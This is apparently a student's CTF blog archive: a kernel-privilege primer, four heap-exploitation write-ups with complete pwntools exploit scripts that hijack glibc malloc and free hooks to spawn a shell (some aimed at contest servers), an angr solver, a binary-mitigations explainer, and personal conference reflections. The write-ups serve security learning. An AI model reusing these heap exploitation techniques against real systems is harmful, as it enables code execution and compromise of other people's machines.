Reverse-Engineering

Peeling off the layers: what’s a kernel?

Ever thought of the program which saves your machine everytime from a catastrophe each time you get intentionally/unintentionally end up running an application which might cause havoc to your machine? Ever wondered who’s the one who’s taking care of the low level stuff on your machine like, monitoring the CPU calls, ordering your screen to display those engineered UI and other applications? The answer is: KERNEL.

A kernel is the core of an operating system which is super-boss of your system and controls everything from peripheral devices to processing the instructions which control your CPU. Some of the instructions which can only be executed by the kernel are:

  • HLT : ultimately shutting down the CPU computation
  • IN/OUT : used for interacting with hardware peripherals
  • Controlling special registers like, MSR-LSTAR : MSR holds the value of the syscall to jump to

Privilege Rings

Also, just like the OS tracks the user ID of the user working in userspace, the CPU tracks the privilege level of the instruction which is executed. In other words, your CPU performs all the hardware stuff following the commands of the kernel which is given the highest privilege level. So what are these privilege levels? There usually 4 important privilege levels (or Rings ) which you should be knowing about. The number of rings might vary, but for brevity in this post we’ll be discussing only about the these 4 rings:

  • Ring 3 : this is the privilege level given to the userspace programs. The current browser on which you are reading his post on is running with this privilege level.
  • Ring 2 : if you want to load or read anything from a memory storage well it would fall under this privilege level.
  • Ring 1 : this ring is used by the device drivers or interacting with the hardware
  • Ring 0 : this is the highest privilege level which is where the kernel operates. If you are hack to this privilege level you can control the CPU cycles, shut down the fans and cause massive DESTRUCTION!
  • Ring -1 : this is the hypervisor mode, used by the virtual machines to perform some operations.

Also, the userspace processes are allocated lower address in the virtual memory whereas the kernel processes are allocated the higher range of the memory address which can only be accessed in Ring 0.

Look through the ‘security-lens’

Well, all the privilege levels are something interesting if you look from a security-wise perspective. Now if there’s a highly critical bug in existing in the kernel code, we now know what price we might have to pay. An attacker could get their hands on the juiciest data on your machine or even leave it completely inoperable.

The reader might be familiar with the call graph or the basic block graph where each block basically depicts the control flow (the loops, the if-else paths and so on) of the code. If you look at the control flow graph of the kernel code, it would surely resemble an untamed ancient banyan tree in a rainforest! What I mean to convey through this layman’s analogy is that, the kernel code is so COMPLEX that it offers both: a site to explore the undiscovered loopholes and similarly making it really hard to discover those nasty loopholes. Anyway, moving ahead let’s discuss about the possibilities of attack vectors on the KERNEL.

  • Packets of death: sending malicious packets through the network on which the machine is connected. Nowadays, as the network attacks are becoming really common, this way of attack can be still controlled or prevented.
  • Userspace attack: Vulnerabilities in syscall and ioctl handlers could pave a way to attacks from the userspace. Heard about sandbox escape 😉 ?
  • Connected devices: Attackers could launch kernel exploits from attached devices, like the USB connected devices or so on.

The aim of these attacks could be mainly to do a privilege escalation, plant rootkits, or attack other parts of the system. Whatever it is, kernel targeted attacks are highly critical to the overall security of a system and must never be taken lightly.

I have a very limited experience in this field and have tried to comprise my personal learning in this blog. If you have any comments do shoot them, ciao !

References:
Heap, N1CTF

N1CTF: EasyWrite (Pwn)

The past weekend I played N1CTF along with my teammates, I ended up spending most of the time in EasyWrite and Signin. In this writeup I’ll be explaining about my approach for the EasyWrite, so let’s get started!

Initial Click

All the useful mitigation are enabled other than FORTIFY. Also, the libc version required is libc-2.31. In a nutshell, the binary does the follows:

  • Gives us the libc leak directly
  • We can input 0x299 bytes which is stored on the heap [chunk1]
  • Asks us to enter an address [addr1] where contents of chunk1 are copied to
  • Allocated a chunk of size 0x30 [chunk2]. We can write 0x2f bytes to this chunk.
  • chunk2 is freed.

From this I could deduce that overwriting __free_hook_ could be the key. But it wasn’t really that easy.

What did not work?

On the first try, I gave addr1 as __free_hook_ and the contents of chunk1 as address of system/ shellcode what not. I ended up with a SIGSEV because this was bound not to work as the binary was executing the chunk1 address and NX was enabled. I couldn’t find any other targets for a long while.

Another thing to try out was the controlling tcache structure because we could utilize the write happening on chunk2. Basically, we had to control malloc to help us in getting an arbitrary write. How about getting an allocation on __free_hook_ and then overwriting it to get a shell? Not that easy.

Crux: Controlling Tcache

We know that it’s the tcache_perthread_struct (stored on the heap) which kind of keeps a track of the count of chunks are present in the bin and also which one to be recycled on the next call. But in the present scenario we cannot control it because we do not have any way to get heap leaks but we have the libc leaks. Is there any way to control this region if we are armed only with libc leaks?

I found a mmap’d address which stores the pointer to the [tcache_perthread structure] -0x10 address. If we could overwrite this address with a chunk1 which has our fake tcache_structure (where the next 0x30 size chunk to be recycled is our __free_hook_) then we could get the desired arbitrary write. In my understanding this mmap region is the global Tcache pointer which stores the pointer to the tcache structure (one stored on heap). More details can be found on another writeup on the same which gives a detailed understanding: https://ctftime.org/writeup/24295 .

What happened next?

Unfortunately, I was not able to complete the challenge during the CTF. Here, none of the one_gadgets come to handy so one must overwrite __free_hook_ with system but then it would call free(system) => system(system) which is really not what we desire. My teammate and I did a lot of tries on this but found it out very late that one could get the arbitrary write at __free_hook -0x8 and overwrite it with “/bin/sh\x00” + libc_system_address.

Nevertheless, this was a fun challenge as I really learned something new. Also, we must learn to read the source code when all the doors seem to be closed.

Final Exploit

from pwn import *
p = process("./easy",env = {"LD_PRELOAD" : "./libc-2.31.so"})
p.recvuntil("Here is your gift:")
leak = int(p.recvline().strip(),16)
print(hex(leak))
libc_start = leak - 0x08ec50
log.info("libc_start = " + hex(libc_start))
system = libc_start + 0x055410
free_hook = libc_start + 0x00000000001eeb28
tls_tcache = libc_start + 0x1f34f0
fake_tcache = p64(0x0000000100000000) + p64(0)0x82+p64(0)+ p64(free_hook-0x8)
p.sendafter("Input your message:",fake_tcache)
p.sendafter("Where to write?:",p64(tls_tcache))
p.sendafter("Any last message?:","/bin/sh\x00"+p64(system))
p.interactive()

Heap, HSCTF

HSCTF7: Studysim

This was a fun challenge on the vulnerable Tcache bins but different one compared to the simple FD overwrites one would expect. So let’s check it out!

Along, with the challenge binary we were provided with  Glibc 2.29 and loader for it. You can possibly use patchelf tool if your local environment is not of the one required for the challenge, so that your binary loads the Glibc 2.29 libc and the required loader for it.

Carrying out the initial checksec step, we get the following information on the mitigations:

Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Full

So possibly some overwrite on any of the hooks? A possible FSOP? Let’s explore!

The menu function which we are presented with:

Welcome to study simulator!
Because who has free time when you must STUDY.
Commands:
add - Adds a worksheet onto your stack of worksheets
do - Complete the top worksheets
sleep - Give up and sleep
>

Add

Let’s us create a new chunk of any size below 0x400 and then the allocated chunk’s address is then stored in an array called stack in .bss section. If the count of the chunks is already 7 then we cannot store anymore chunks but otherwise it simply increments the count variable.

stack[allocated_count ++] = address of the allocated chunk

After this we can give some content and it prints back the content which we have just added.

Do

Here comes the vulnerable part. The function asks the user to input any number of integer and reduces the value of allocated_count by that much value without any checks on the input value. Which means using this we can store our return allocated address anywhere on the .bss. This is how the .bss section looks like:

0x404020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7fc6760 0x0000000000000000
0x404030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7fc5a00 0x0000000000000000
0x404040 <allocated_count>: 0x0000000000000000 0x0000000000000000
0x404050: 0x0000000000000000 0x0000000000000000
0x404060 <stack>: 0x0000000000000000 0x0000000000000000
0x404070 <stack+16>: 0x0000000000000000 0x0000000000000000
0x404080 <stack+32>: 0x0000000000000000 0x0000000000000000
0x404090 <stack+48>: 0x0000000000000000 0x0000000000000000

 

Sleep

Well, it just sleeps and exits. Nothing interesting here.

Getting the leaks

To get the heap leaks, we can invoke the Do() functionality and then reduce the allocated_count to a negative value such that the address of the heap chunk returned by the malloc function is stored on the allocated_count .bss address. As the binary prints out the value of allocated_count here we get the heap leaks.

You throw the worksheet '0@@' on your stack of worksheets.
>

For the libc leaks, well it won’t be that easy as there’s a size check and also no free() to invoke anywhere anyhow. As the libc addresses are stored on the .bss section we need to somehow get an allocation there (as the binary prints the content of the chunk). So now how do we control this? Here, comes the Tcache structure.

I found this really good reference for understanding about how the Tcache keeps a track of the number of chunks in Tcache and their addresses. I won’t be explaining it in detail; you can check out the resource mentioned and try checking out the structure in GDB by allocating and freeing chunks in Tcache for any program which allows you to do it.

By calculating the right offset with the heap leaks and the known .bss address of the array stack one can get the allocation in the Tcache structure ( using the Do() functionality again ofc). First, we can overwrite the first 8 bytes of tcache_perthread_struct.count. And then similarly on the next allocation we can overwrite the first pointer stored in tcache_perthread_struct.entries (such that it acts as a freed chunk of size of 0x20 bytes). This pointer must have the .bss address of stdout_GLIBC stored as it’s forward pointer. So on the next call on malloc you can get an allocation there and cleverly leak out the libc address stored!

0x1553000: 0x0000000000000000 0x0000000000000251 <-- Tcache struct begins
0x1553010: 0x000000000155327f 0x0000000000000000 <-- First 8 bytes overwritten with count
0x1553020: 0x0000000000000000 0x0000000000000000
0x1553030: 0x0000000000000000 0x0000000000000000
0x1553040: 0x0000000000000000 0x0000000000000000
0x1553050: 0x0000000000404030 0x0000000000000000 <-- Next chunk in line for allocation
0x1553060: 0x0000000000000000 0x0000000000000000

 

Final Exploit

By using the same trick as for the libc leaks, we can trigger the final exploit. Like last time by cleverly getting an allocation on Tcache (probably a chunk of another size, as it might give SIGSEV) of a chunk with FD pointer set to __malloc_hook_. On the next call to malloc() function we would get an allocation on __malloc_hook_ (exploiting the naive tcache). Now you can simply overwrite it with a one_gadget and on next malloc KABOOM!!!


from pwn import *

bss_stack = 0x404060

#k = process("./studysim",env = {"LD_PRELOAD" : "./libc.so.6"})
k = remote('pwn.hsctf.com', 5007)
def add(size,content):
   k.sendlineafter("> ","add")
   k.sendlineafter("worksheet?\n",str(size))
   k.sendlineafter("worksheet?\n",content)

def do(count):
   k.sendlineafter("> ","do")
   k.sendlineafter("finish?\n",str(count))

def sleep():
   k.sendlineafter("> ","sleep")
stdout_bss = 0x0000000000404030
#heap leaks
do(4)
add(0x10,'a'*0x10)
do(0)
k.recvuntil("Only ")
heap_leak = int(k.recvline().strip().split(" ")[0],10)-1
print(hex(heap_leak))
do(heap_leak)
#get a count
chunk = heap_leak-0x250-0x8
diff = -bss_stack+chunk
do(-diff/8)
add(0x10,'c'*0x10)
do(diff/8+1)
#allocate a chunk at .bss addr of stdin
chunk = heap_leak-0x208-0x10
diff = -bss_stack+chunk
do(-diff/8)
add(0x10,p64(stdout_bss))
do(diff/8+1)
add(0x08,'')

k.sendlineafter("> ","add")
k.sendlineafter("worksheet?\n",str(0x8))
k.sendlineafter("worksheet?\n",'a')

k.recvuntil("worksheet ")
leak = k.recvline().strip().split(" ")[0].replace("'","")
leak = '\x00'+leak[1:]
leak = u64(leak.ljust(8,'\x00'))
libc_base = leak-0x1e4a00
print(hex(libc_base))

do(3)

#allocate chunk at __malloc_hook
malloc_hook = libc_base + 0x0000000001e4c30
system = libc_base + 0x0000000000052fd0
one_gadget = libc_base + 0xe2383
chunk = heap_leak-0x208-0x8
diff = -bss_stack+chunk
do(-diff/8)
add(0x20,p64(malloc_hook))
do(diff/8+1)
add(0x08,'')

k.sendlineafter("> ","add")
k.sendlineafter("worksheet?\n",str(0x8))
k.sendlineafter("worksheet?\n",p64(one_gadget))
do(2)

#call system
k.sendlineafter("> ","add")
k.sendlineafter("worksheet?\n",'0')

k.interactive()

I wouldn’t have solved this challenge without a senior mentor from my team hinting me about exploiting Tcache Structure. As I’m still learning and no-expert on this, I might have missed something here and there, so if you find something do point it out. Happy learning to you :)!

 

 

 

De1CTF, Heap

De1CTF-2020: STL_Container

De1CTF had very interesting Pwn and RE challenges but I could only find time to attempt two: STL_Container and Parser of either categories respectively. Here’s a short writeup on a how I solved the former during the CTF. This is a simple challenge for learning and exploiting Tcache.

To get the initial click, we run a checksec.sh on the binary and find that all the mitigations are enabled except that RELRO is partial. It’s a 64-bit non-stripped binary which requires libc 2.27. Let’s checkout the typical menu of every heap challenge:

STL Container Test
1. list
2. vector
3. queue
4. stack
5. exit
>> 1
1. add
2. delete
3. show
>> 1
input data:aaa
done!
STL Container Test
1. list
2. vector
3. queue
4. stack
5. exit
>>

So CPP program presents us with 3 in built data structures of the most reliable STL library. Stack and queue make use of deque, list makes use of doubly linked list and vector uses a vector. I started out by allocating all the different data structures and found out that one could allocate only 2 nodes in each of the data structures. The allocation of each of these is done on the heap and and makes a fixed allocation of 0x98 bytes for each node. It reads in 0x98 bytes of data.

Taking all these into account, there could be a possibility of overwriting free_hook with a one_gadget ( as a shortcut to erstwhile overwriting with system). As the allocation was done using malloc one could get it easily by simply allocating, deleting and printing the contents of the chunk. And we had all the 3 functionalities under our control- though printing was not supported for stack and queue.

So I started off by allocating chunks and then deleting them one by one. What I noticed was when deleting vector I got a double free! Which implies there was a chunk pointing to itself in the tcache. That’s why I was able to allocate only 7 chunks.

Getting the leaks

I got the heap leaks by simply allocating the chunk which had pointers to the next chunk in the list. After that I called the print functionality. Hmmm… I’d a heap in the unsorted bin which I’d to allocate and print the contents. But because of the double free and also weird functionality of the code (copy content of a chunk to another and then delete the previous) I was not able to do it so easily. I created a list node and was allocated on the heap.

This is how a structure of a node (in list looked like:

0x5555555455000000:      heap_addr_of_next_node heap_addr_of_prev_node
0x5555555455000010:      heap_addr_of_the_stored_content

I simply allocated one of the freed vector chunks and overwrote the next pointer to the heap address of the stored content. Then on the next allocation the naive tcache gave me the liberty to overwrite the address 0x5555555455000010 with the address of the chunk in the unsorted bin. I did so to make use of the print functionality so that I could simply print out the contents of the list node which I had previously created. But yes the contents printed out weren’t the earlier contents :).

That’s how I got the libc leak!

Final Exploit

I created 2 vectors and deleted them to get a similar double free but this time overwrote next pointer with free_hook with a one_gadget and called a free using delete. Running the code swiftly popped up the much anticipated shell!

Here’s the final exploit for the code, mind you it’s not the most optimized code and there could be better ways of solving it. It might be a little confusing to understand, so better get your hands dirty on the binary and try out the exploit yourself!


from pwn import *

#r = process('./stl_container')
r = remote('206.189.186.98',18848)
def callds(ds,opt,value,idx):
	r.sendlineafter(">>",str(ds))
	r.sendlineafter(">>",str(opt))
	if(opt == 1):
		r.sendlineafter("input data:",value)
		print(r.recvline())
	else:
		if((ds == 3 or ds == 4) and opt == 2):
			return
		r.sendlineafter("index?\n",str(idx))
		if(ds ==2):
			print("lol")
			print(r.recvline())

#payload = p64(0x0)+p64(0x91)+'a'*(0xa0-0x20)+p64(0x90)
#adding chunks to tcache
callds(1,1,'a'*0x10,-1)
callds(1,1,'b'*0x10,-1)
callds(2,1,'c'*0x10,-1)
callds(2,1,'d'*0x10,-1)
callds(3,1,'e'*0x10,-1)
callds(3,1,'f'*0x10,-1)
callds(4,1,'g'*0x10,-1)
payload = p64(0xa1)*0x6 + p64(0x0)
callds(4,1,payload,-1)

#deleting chunks; unsorted bin
callds(1,2,-1,0)
callds(1,2,-1,1)
callds(2,2,-1,0)
callds(2,2,-1,0)
callds(3,2,-1,0)
callds(3,2,-1,1)
callds(4,2,-1,0)
callds(4,2,-1,1)

#getting heap leaks
callds(1,1,'',-1)
callds(1,3,'',1)
print(r.recvline())
leak = u64(("\x70"+r.recvline().strip()).ljust(8,'\x00'))
print(hex(leak))

#getting libc leaks
chunk = p64(leak -0x3f0)
callds(3,1,'',-1)
callds(3,1,chunk,-1)
callds(4,1,'/bin/sh',-1)
payload = p64(leak+0xa0)
callds(4,1,payload,-1)
callds(1,3,'',0)
leak = u64(r.recvline().strip().split(": ")[1].ljust(8,'\x00'))
print(hex(leak))
libc_base = leak - 0x3ebca0
system = libc_base + 0x4f440
malloc_hook = libc_base + 0x3ebc30
free_hook = libc_base + 0x3ed8e8
one_gadget = libc_base + 0x4f322

#final overwrite
callds(1,2,-1,0)
callds(1,2,-1,0)
callds(3,2,-1,0)
#to cause a loop
callds(2,1,'c'*0x10,-1)
callds(2,1,'d'*0x10,-1)
callds(2,2,-1,0)
callds(2,2,-1,0)

payload = p64(free_hook)
callds(2,1,payload,-1)
callds(3,1,p64(one_gadget),-1)
#gdb.attach(r)
r.interactive()
##De1CTF{NeuEr_u51ng_O6j3ct_1n_VecT0r}

Heap, VolgaCTF

VolgaCTF2020: Notepad- –

This 300 pointer challenge was the solo Pwn challenge in VolgaCTF and I solved it just after the CTF ended :(. The following exploit is tested on a Ubuntu 18.04 VM.

Here’s the description of the challenge:

Notepad– is the app to store your most private notes, with an extremely
lightweight UI. Check it out!

We are just given the challenge binary for this challenge. Also, the 64-bit dynamically linked stripped binary had all the protections enabled other than FORTIFY.

Reversing

The Notepad application presents us a menu function which looks like:

Welcome to Notepad--
Pick an existing notebook or create a new one
[p]ick notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

>

The structure of the notebook and tab is as follows,
struct notebook { char name[16];
                                 int number_of_tabs;
                                 struct tab tabs[64]; }

struct tabs { char name[16];
                       int size;
                       char* content; }

So the functionality allows you to pick a notebook by giving the index as index_of_notebook + 1  and to try out the functionalities of tabs.

Operations with notebook "aaaaaaa"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

>

This let’s you add a tab, view the data in each tab ( (len(data_it_prints) is equal to tab->size) , list all the names of tabs in a notebook, delete a tab and go back to the previous menu. So hoping that the functionalities of the binary is clear let’s move on!

Vulnerability and the exploit

Getting the leaks

As the libc is not given and as PIE and RELRO are fully enabled the best way to get the leaks here is to allocate an unsorted bin chunk, free it and view it. As the binary uses malloc() the libc pointers are retained after allocation provided we give an empty content. Here’s what I did:

  • Allocated a chunk of size 0x500 bytes so that after freeing it goes to the unsorted bin
  • Deleted the chunk using delete_tab functionality
  • Allocated another chunk of size 0x20. Malloc would split the previous chunk and allocate me a chunk of 0x30 size (0x10 for the header).
  • The allocated chunk had the first 2 0x8 bytes set to a libc pointer
  • Did a view and got the leaks by calculating the offsets

Mind you, I did this locally and not on the server. To get which libc the binary is using you might have to look up the last 3 nibbles in the libc database to get the libc version the challenge is using!

Overwriting the free_hook

The first obvious bug in the binary is the manner in how it takes in the name of the notebook and the tab. It takes the input through scanf( “%s”, name) which makes it obvious that it is prone to the classic buffer overflow! Here’s the code snippet of the add_notebook functionality:

int add_notebook()
{
__int64 v1; // rax
char *v2; // ST08_8

if ( nb_ctr == 16 )
return puts("You've reached the limit for notebooks! Delete some of the older once first!");
v1 = nb_ctr++;
v2 = (char *)&table + 2072 * v1;
printf("Enter notebook name: ");
return __isoc99_scanf("%s", v2);
}

Now, that you have got the leaks you can find the address of __free_hook which is a libc pointer that is invoked when the program calls free(chunk). To carry out the final exploit our aim is now to overwrite the __free_hook. To do this we do have to explore another vulnerability which lies in the update_tab functionality.

Update_tab function let’s you update any tab of the index lesser than notebook->number_of_tabs.

Enter index of tab to update: 1
Enter new tab name (leave empty to skip): 
Enter new data length (leave empty to keep the same): 
Enter the data:

And as you can see in above if the new length is same as the previous it just simply lets you update the content pointed by the data pointer. Otherwise, it frees the current data pointer and calls a malloc() with a size. What if I could overwrite tabs->data pointer with __free_hook and call an update functionality without giving a different size? Let’s see what we can do!

  • Add another note (as first one was used for the leaks) and using scanf(“%s”,name) overflow junk in place of name but overwrite size with a valid size and data pointer with __free_hook.
  • Pick that note and update tab with index 1.
  • As discussed above, leave data length empty, point __free_hook to system().
  • Free a chunk holding the string “/bin/sh\x00” and BOOM!!!

Exploit Code

from pwn import *

r = process('./notepad')
# notebook functionalities
def add_note(name):
	r.sendlineafter('>','a')
	r.sendlineafter('name: ',name)

def pick_note(): #display items
	r.sendlineafter('>','l')

def dele_note(idx):
	r.sendlineafter('>','d')
	r.sendlineafter('Enter index of a notebook to delete:',str(idx))

def pick_note(idx):
	r.sendlineafter('>','p')
	r.sendlineafter('pick: ',str(idx))

#tab functionalities
def add_tab(name,length,data):
	r.sendlineafter('>','a')
	r.sendlineafter('name: ',name)
	r.sendlineafter('Enter data length (in bytes): ',str(length))
	r.sendlineafter('data: ',data)

def view_tab(idx):
	r.sendlineafter('>','v')
	r.sendlineafter('view: ',str(idx))

def list_tab():
	r.sendlineafter('>','l')

def update_tab(idx,name,length,data):
	r.sendlineafter('>','u')
	r.sendlineafter('update: ',str(idx))
	r.sendlineafter('skip): ',name)
	r.sendlineafter('same): ',str(length))
	r.sendlineafter('data: ',data)

def del_tab(idx):
	r.sendlineafter('>','d')
	r.sendlineafter('delete: ',str(idx))
def quit_tab():
	r.sendlineafter('>','q')

add_note('a'*0x10)
pick_note(1)
add_tab('b'*0x10,0x500, '')
add_tab('c'*0x10,0x10,'/bin/sh\x00')
del_tab(1)
add_tab('d'*0x10,0x20,'')
view_tab(2)
print(r.recvline())
rcvd = r.recvline()
leak = u64('\xd0'+rcvd[:7])
libc_base = leak - 0x3ec0d0
quit_tab()

#leaked pointers
free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f440

#final exploit
sizeof_nb = 0x818
offset_tab = 0x18
offset_data = 0x18
sizeof_filler = offset_tab+offset_data-0x8
filler = b'a'*(sizeof_filler)+p64(0x30)

add_note(filler+p64(free_hook))
pick_note(2)
update_tab(1,'b'*0x8,'',p64(system))

print(hex(free_hook))
print(hex(libc_base))

quit_tab()
pick_note(1)
del_tab(1)
#gdb.attach(r)
r.interactive()

The challenge was a simple yet interesting one! I got a shell locally for this but was too late to try it on the server and get the flag. Anyways, I’m glad I could solve it!

Reverse-Engineering

RITSEC 2019 – 999 Bottles

In this particular CTF, I didn’t have much fun with the “PWN” challenges- they were either too lame (related to some NASA Apollo mission!) or really challenging for me (stuff related to docker containers). 999 Bottles was more kind of a challenge involving automation with Angr. If you want to learn more about this tool you can check it out here.

So, unzipping the challenge file gave us 999 binaries which is really a lot to reverse! And as per the description of the challenge one had to go through each binary and find that condition which prints “OK! “. In short, each binary took an input from the user and compared it with a character to pass the check. Sounds easy? Yes indeed!

Let’s whirl up our magical Angr code to action!




import angr

import claripy

​

i_ = ".c.out"

ctr = 1

print_ = ''

for i in range(1,1000):

	if(i<=9):

		file = '00'

	elif(i<=99):

		file = '0'

	else:

		file = ''

	file = './'+file+str(i)+i_

	proj = angr.Project(file)

	simgr = proj.factory.simgr()

	simgr.explore(find=lambda s: b"OK!" in s.posix.dumps(1))

	s = simgr.found[0]

	print_+=s.posix.dumps(0)

	print(print_)


In short, the script checked out each binary in the directory (scanning through 999 binaries!) to look for the path which gave "OK!" at the end. And we were very easily able to find the character which got accepted by each of the binary. Putting it together it gave us the flag!

 

IISc Summer School, Random-thoughts

Exploring CS @IISc Summer School

I would call myself fortunate enough for getting selected among the 90 candidates for the 7th Undergraduate Summer at the elite institution- IISc Bangalore. From taking random walks in probability to the ‘Meltdown Attack’ which affected millions of devices worldwide: these 5 days covered it all…

The different talks each day covered about the research topics in diverse fields like Algorithms, Machine Learning, Reinforcement Learning, Cybersecurity to name a few. Through this Summer School I got to know about the real life application of the courses which we learn in our undergrad years but forget even about their existence after the completion of the semester. The classroom learning usually conveys the theoretical aspects of the subject but misses out in teaching the students about the real life application. And we as students are ardent followers of the one-night-before-exams learning style and hence we don’t ourselves also don’t focus about these aspects. I felt that the Summer School actually bridges this gap. It encourages students to know about the research domains under their interested fields and become better problem solvers.

Before coming for the Summer School we had a preliminary interview and a total of 12 students qualified from my university. Summer School was a good platform to interact with the PhD and MTech research students from the institute as well. Before coming for the Summer School I had lot of presumptions in my mind about the students at IIScB ( the usual geeky-specky kind image when you hear IISc ) but as you can expect these were proven very wrong. All the volunteers were very open and also they played awesome pranks on us (spoiler alert!) :P. I was a little disappointed when I saw that most students from other colleges were mostly into ML and related areas and no one had any idea about Cybersecurity. The speakers at the talk were from different backgrounds as well. Some of them were from industrial background or purely research or both. We had a special interactive session with the faculty and the students separately. The major takeaway from the sessions was: it’s better to do a good homework about the industrial world before stepping into the waters and later regretting when expectations fail. A life of a researcher is packed with unpredictability as well. There are times when you don’t know whether the problem you are working on is solvable or not. But then it gives you a freedom to explore and admire the beauty of the concepts which are usually just forgotten ( to much poetic I guess :P). At the end of the day, it is up to you to decide which one would suit you well! I still haven’t made mine but I’m glad I still have an year to go :P.

Anyways, there was a session where the participants presented their projects. My friends from amFOSS club presented about their cab booking app on which they were currently developing. We got a chance to explore the beautiful campus and visit the main building! The campus is spread over a vast area and you can’t literally explore everything in one go. Then on the last day, we had a small concert organized by the PhD students which was absolutely amazing!!

Literally, those 5 days were like the most awesome days of my BTech life. It’s only been a week and I really wish I could go back. I would really thank IISc for selecting me as a prospective candidate and also my chief mentor Vipin Sir who told me about this opportunity. I would recommend every undergrad to be part of this amazing summer school which exposes you to a plethora of fields under CS which the four of walls of the curriculum limit you exploring from.

 

 

Random-thoughts, Reverse-Engineering

Getting the initial click ;)

Well, I started learning Binary Exploitation about like a couple of months back. I would say you really must have a mind like the “Weasly-twins” to get your way out even if there’s no way! Honestly, the moment you get that system function executed successfully and the shell pop up it really feels like you just destroyed another Hocrux :P.

This blog is about the basic protections which are enabled on the binary to patch a few vulnerabilities or unintended bugs in programming.

We are very well familiar with the initial “checksec” command which we run before getting our hands dirty on the binary. This checksec.sh script runs on a binary and gives the result of which all protections are enabled on it. By analyzing these checks on the binary one can deduce the possible attacks without even reversing the whole of the code! So let’s learn about them one by one in brief:

  • Canary: This protection is enabled for detecting whether the stack has been overwritten or corrupted. The canary value is put onto the stack before making the function frame and validated once the function is completed. If the validation is False ( for instance buffer overflow ) the execution of the application is terminated there itself.
  • NX or non- executable stack: This protection ensures that none of the segments of the binary have both writable and execution permission enabled at the same time. So this eliminates possible exploit of shellcode injection.
  • RELRO or “Relocation Read Only”: can be partial or full and this decides whether you can perform a GOT table overwrite or not. A binary can be statically or dynamically linked.  During the execution of the binary either the lookup tables can be mapped to the dynamically linked functions when they are required (lazy resolving) or the entire library can be mapped during initial startup. If it’s the former case then Partial RELRO is enabled and the GOT table is writable . Whereas, if it’s the latter case then GOT table is read only and takes an overhead to map even those functions which would be never called. So based on your inference you can eliminate or consider another possible exploit ;).
  • PIE or Position Independent Executable:  made to support ASLR in executable files. A no PIE enabled binary keeps the memory layout of the binary static and is prone to common attacks which rely on the structure of the binary. For a PIE enabled binary you would see the address layout for the different segments of the binary randomized and would have to get a leak each time for working your exploit.
  • FORTIFY_SOURCE: When using this the compiler will intelligently scan through the C code and analyze those arrays or variables for which it already knows their maximum size. It tests then for possible out of bound overflow and quits the application. A true check of this could eliminate the possibility of a format string bug or a buffer overflow.

Next time when you get a binary don’t forget to do a checksec and give a luck to your step by step elimination intuition ;).

Random-thoughts

BHASIA 2019

I never expected that I would even be selected for the student scholarship for Black Hat Asia 2019! It all came as a surprise on 1st March when I was at Goa with my team members attending Nullcon’19. 8 members of our team had got selected for the scholarship program. I was really excited to attend the most awaited conference of the year at cosmopolitan Singapore City.
We landed on the 1st day of the conference and head directly to the venue.I was mesmerized to see Marina Bay Sands which I’d only seen in General Knowledge books in my life. The first day we went to many business stalls and had an interaction with the people there. I learned that many startups did something very similar to what we usually in Attack Defense kind of CTFs. They usually intercepted the payloads coming from a malicious network and patched their system based on the vulnerability the payload was made for. I didn’t find any deep analysis happening in the picture but it might be interesting to the network sniffers out there! I was disappointed that sparing few many people there didn’t have any idea what were CTFs. But then I was proved wrong when I met Ben Smith at the Polyswarm stall. He was a member of a CTF team which had qualified DEFCON once. It was interesting to talk to him. Well, I attended various talks throughout the event and learned a lot from the Arsenals which were put up. After attending the talk on “Hacking Brazilian Voting Machine” by Deigo F. Aranha I really doubted if our Indian Voting machines were actually safe or not. I was a little surprised by the fact that the tools which we commonly use during CTFs like IDA Pro and Volatility are so commonly used by researchers in finding major bugs in applications. I found how playing in the arena of CTFs helps us to get an idea about the real world security challenges out there. I never knew before that the CTF challenge where we had to threat modelling to control a car was so closely related to a tool made by a researcher at MIT. Remember the last time when you were travelling inside a tunnel and you were not able to send your Email to your friend? Well, I didn’t know that short minute of wait in sending the Email your data can be controlled and directed elsewhere.
I don’t know how much you already knew about what I said above… but for a novice like me well, this was something fascinating! Other than the technical stuff, I learned how to connect and communicate with people. And yeah the tactics to get more goodies :P. Well, overall BHASIA was a beautiful learning experience. I wish the conference could span more than 2 days as just a couple of days isn’t really enough for exploring all the interesting works presented out there.
I really wouldn’t have attended this conference if it wasn’t my team members who had supported me and my Chief mentor Vipin Sir who has always been a guiding light for me.

Random-thoughts

Journey so far…

 

The woods are lovely, dark and deep, But I have promises to keep, And miles to go before I sleep, And miles to go before I sleep. -Robert Frost

Well, before coming to Amrita University I was the usual geeky teenager whose world was confined to the NCERT, JEE preparition, RD Sharma… books. I choose Computer Science in my 11th as I was interested in the subject since I was a kid. I loved going around the lab to each kids’ desk and fixing their CPP bugs! I applied for Amrita University at the last date of application and I’m glad I didn’t miss it out!
I really can never forget the induction day at the college when I got introduced to Team bi0s. But, I was a little suprised as there was no girl among the spectacled guys on the stage! I was a little worried at that time but when I got introduced to Vipin Sir things became crystal clear and I took the decision to join the team. So me and 4 of my other girl-friends used to stay-back every day in the lab till 7:30 pm while others said: “You geeky guys have no life!”. But, I never felt discouraged…
Some of my friends had no CS background but with persistent efforts, they are now way better than the ones who had.

So slowly my learning graph moved from python and CPP programming to the symmetric and asymmetric encryptions in Cryptography. I started focussing on Crypto from my 2nd semester and my mentor (who was just 1 year senior than me!) guided me along. I made the shift from Crypto to Reverse this year and I moved a step ahead!

Other than the technical skills, I learned about important lessons of teamwork and persistent hard work. The journey wasn’t a cake-walk as we faced many issues as a girls team (esp from wardens :P). We usually come back at 9:30 pm and honestly, time management became very important. I learned about patience and sacrifices which eventually make you better. I learned how to stop comparing myself with others and believing myself.  Also organizing InCTF and InCTFj was fun indeed and I got to know many people and skills (this was the first time we organized Attack-Defense CTF) which I never had before.

Well, without the encoragement and guidance of Vipin Sir ( a professor hard to find!) and our collective team of 2nd, 3rd and 4th years I’m sure I wouldn’t have acheived what I did in the last year. So here I’m at the threshold of yet another year with challenges, learning and goals packed within. Let’s tar -xvf 2019 and grep flags!